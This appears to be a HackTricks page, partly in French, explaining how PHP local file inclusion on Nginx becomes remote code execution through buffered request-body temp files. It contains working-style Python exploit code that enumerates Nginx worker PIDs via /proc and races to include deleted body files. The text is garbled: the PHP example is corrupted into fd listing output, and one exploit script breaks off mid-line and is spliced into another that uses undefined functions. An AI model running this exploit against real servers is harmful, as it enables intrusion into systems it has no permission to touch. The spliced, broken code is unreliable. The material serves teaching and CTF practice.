hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md

9.1 KiB

LFI2RCE via Nginx temp files

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

WhiteIntel

WhiteIntel est un moteur de recherche alimenté par le dark-web qui offre des fonctionnalités gratuites pour vérifier si une entreprise ou ses clients ont été compromis par des malwares voleurs.

Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.

Vous pouvez consulter leur site web et essayer leur moteur gratuitement à :

{% embed url="https://whiteintel.io" %}


Configuration vulnérable

Exemple de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

  • Code PHP:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` Remarque : On ne peut pas inclure directement `/proc/34/fd/15` dans cet exemple car la fonction `include` de PHP résoudrait le chemin en `/var/lib/nginx/body/0000001368 (deleted)` qui n'existe pas dans le système de fichiers. Cette légère restriction peut heureusement être contournée par une certaine indirection comme : `/proc/self/fd/34/../../../34/fd/15` qui exécutera finalement le contenu du fichier supprimé `/var/lib/nginx/body/0000001368`. ## Exploit complet ```python #!/usr/bin/env python3 import sys, threading, requests # exploiter l'inclusion de fichier local PHP (LFI) via l'assistance de mise en mémoire tampon du corps client de nginx # voir https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ pour plus de détails URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # trouver les processus de travail nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] processus de travail nginx trouvé : {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # télécharger un gros corps client pour forcer nginx à créer un /var/lib/nginx/body/$X def uploader(): print('[+] démarrage de l'uploader') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
def send_payload_worker(requests_session): 
    while True: 
        send_payload(requests_session)

def send_payload_multiprocess(requests_session): 
    # Utilisez tous les CPU pour envoyer la charge utile en tant que corps de requête pour Nginx 
    for _ in range(multiprocessing.cpu_count()): 
        p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) 
        p.start()

def generate_random_path_prefix(nginx_pids): 
    # Cette méthode crée un chemin à partir d'un nombre aléatoire de composants de chemin ProcFS. 
    # Un chemin généré ressemblera à /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root 
    path = "" 
    component_num = random.randint(0, 10) 
    for _ in range(component_num): 
        pid = random.choice(nginx_pids) 
        if random.randint(0, 1) == 0: 
            path += f"/proc/{pid}/cwd" 
        else: 
            path += f"/proc/{pid}/root" 
    return path

def read_file(requests_session, nginx_pid, fd, nginx_pids): 
    nginx_pid_list = list(nginx_pids) 
    while True: 
        path = generate_random_path_prefix(nginx_pid_list) 
        path += f"/proc/{nginx_pid}/fd/{fd}" 
        try: 
            d = requests_session.get(SERVER + f"/?action=include&file={path}").text 
        except: 
            continue 
        # Les drapeaux sont formatés comme hxp{} 
        if "hxp" in d: 
            print("Drapeau trouvé! ") 
            print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids): 
    # Scanner les FD Nginx entre 10 - 45 dans une boucle. 
    # Comme les fichiers et les sockets se ferment, il est très courant que le FD du corps de la requête s'ouvre dans cette plage 
    for fd in range(10, 45): 
        thread = threading.Thread(target=read_file, args=(requests_session, nginx_pid, fd, nginx_pids)) 
        thread.start()

def read_file_multiprocess(requests_session, nginx_pids): 
    for nginx_pid in nginx_pids: 
        p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) 
        p.start()

if __name__ == "__main__": 
    print('\[DEBUG] Création de la session de requêtes') 
    requests_session = create_requests_session() 
    print('\[DEBUG] Obtention des pids Nginx') 
    nginx_pids = get_nginx_pids(requests_session) 
    print(f'\[DEBUG] Pids Nginx: {nginx_pids}') 
    print('\[DEBUG] Démarrage de l\'envoi de la charge utile') 
    send_payload_multiprocess(requests_session) 
    print('\[DEBUG] Démarrage des lecteurs de fd') 
    read_file_multiprocess(requests_session, nginx_pids)

## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for **free** at:

<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}